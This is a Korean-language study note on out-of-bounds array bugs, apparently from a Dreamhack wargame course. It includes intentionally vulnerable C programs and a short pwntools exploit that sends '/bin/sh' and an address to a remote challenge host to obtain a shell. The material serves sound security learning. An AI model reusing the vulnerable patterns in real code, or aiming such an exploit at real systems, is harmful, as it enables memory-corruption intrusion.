Memory Corruption: Out of Bounds
배열의 임의 인덱스에 접근할 수 있는 취약점 OOB
배열의 속성
배열은 연속된 메모리 공간 점유.. 공간의 크기=요소 개수(length라고도 함) X 자료형의 크기

배열 각 요소의 주소를 계산할 때 필요한 것.. 배열의 주소, 요소의 인덱스, 요소 자료형의 크기
Out of Bounds
인덱스 값이 음수 혹은 배열의 길이를 벗어날 때 발생 범위 외 인덱스값을 참조하면 다른 메모리 값 참조 가능..
OOB의 PoC
// Name: oob.c
// Compile: gcc -o oob oob.c
#include <stdio.h>
int main() {
int arr[10];
printf("In Bound: \n");
printf("arr: %p\n", arr);
printf("arr[0]: %p\n\n", &arr[0]);
printf("Out of Bounds: \n");
printf("arr[-1]: %p\n", &arr[-1]);
printf("arr[100]: %p\n", &arr[100]);
return 0;
}

Out of Bounds인 범위 외 인덱스를 사용했음에도 값 출력
임의 주소 읽기
필요한 것.. 읽으려는 변수와 배열의 오프셋 if 배열과 변수가 같은 세그먼트 할당.. 둘 사이 오프셋은 항상 일정.. -> 디버깅으로 알아내기 가능 if 배열과 변수가 다른 세그먼트 할당.. 다른 취약점으로 두 변수의 주소 구하고 차이 계산
// Name: oob_read.c
// Compile: gcc -o oob_read oob_read.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char secret[256];
int read_secret() {
FILE *fp;
if ((fp = fopen("secret.txt", "r")) == NULL) {
fprintf(stderr, "`secret.txt` does not exist");
return -1;
}
fgets(secret, sizeof(secret), fp);
fclose(fp);
return 0;
}
int main() {
char *docs[] = {"COMPANY INFORMATION", "MEMBER LIST", "MEMBER SALARY",
"COMMUNITY"};
char *secret_code = secret;
int idx;
// Read the secret file
if (read_secret() != 0) {
exit(-1);
}
// Exploit OOB to print the secret
puts("What do you want to read?");
for (int i = 0; i < 4; i++) {
printf("%d. %s\n", i + 1, docs[i]);
}
printf("> ");
scanf("%d", &idx);
if (idx > 4) {
printf("Detect out-of-bounds");
exit(-1);
}
puts(docs[idx - 1]);
return 0;
}
if문에서 idx가 4보다 큰지만 검사하고 음수일 때는 고려하지 않는다. docs와 secret_code는 스택에 할당됨 docs에 대한 OOB 이용

임의 주소 쓰기
// Name: oob_write.c
// Compile: gcc -o oob_write oob_write.c
#include <stdio.h>
#include <stdlib.h>
struct Student {
long attending;
char *name;
long age;
};
struct Student stu[10];
int isAdmin;
int main() {
unsigned int idx;
// Exploit OOB to read the secret
puts("Who is present?");
printf("(1-10)> ");
scanf("%u", &idx);
stu[idx - 1].attending = 1;
if (isAdmin) printf("Access granted.\n");
return 0;
}
stu 배열과 isAdmin 전역 변수 unsigned int는 부호 없는 수->음수는 안됨 그러나 양수에 대한 범위 제한 없음 -> OOB 취약점 isAdmin을 1로 만들면 되는 문제

240바이트 차이.. Student구조체 크기가 24바이트.. 10번째 인덱스 참조

Exploit Tech: Out of bounds
x86, 즉 32비트 아키텍처를 가지는 환경에서 배열의 임의 인덱스 접근 방법 소개..
checksec 확인
Canary -> SFP나 RET 변경 불가.. ASLR -> 실행할 때마다 스택, 라이브러리 주소 랜덤화.. NX -> 위치에 셀코드 삽입 후 코드 실행 불가
PIE는 없음 -> 메모리 주소 랜덤 X, 데이터 영역 변수 주소 항상 동일
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main() {
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
name과 command 같은 전역 변수.. name에서 command[idx]에 “/bin/sh\x00” 들어가도록..

76바이트만큼 차이 command[1]=주소 + 4 주소 + 76 = command[19] //이부분이 name name에 “/bin/sh\x00”을 저장하고 command에 19를 겨냥..?
맞긴 맞는데 name에 단순히 문자열을 입력해주면 안되고 저 문자열이 저장되어 있는 주소를 입력해줘야 함
단순히 문자열만 입력해주면..

이렇게 /bin만 저장됨.. 때문에 name의 주소를 입력해줘야 함
from pwn import *
p = remote("host3.dreamhack.games", 18187)
payload = b"/bin/sh\x00" + p32(0x804a0ac)
p.sendline(payload)
p.sendline(b"21")
p.interactive()
19가 아니라 21인 이유는 /bin/sh\x00(8바이트) 이후 주소값을 가리키기 위해..